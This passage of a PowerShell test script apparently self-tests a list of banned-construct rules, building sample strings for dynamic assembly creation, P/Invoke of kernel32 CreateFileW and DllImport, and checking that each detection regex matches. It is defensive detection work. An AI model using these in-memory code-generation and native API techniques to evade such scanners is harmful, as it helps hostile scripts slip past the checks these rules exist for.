[AppDomain]::CurrentDomain.' + 'DefineDynamic' + 'Assembly($name, "Run")'),+ ('$null = $builder.' + 'DefinePInvoke' + 'Method("CreateFileW", "kernel32.dll")'),+ ('[' + 'Dll' + 'Import("kernel32.dll")]'),+ 'class UnslothStudioFinalPathV3 {}'+) -join "`n"foreach ($ban in $bannedConstructs) {Check "the '$($ban[0])' rule can fire at all" ([regex]::Matches($banSelfTest, $ban[1]).Count -gt 0)}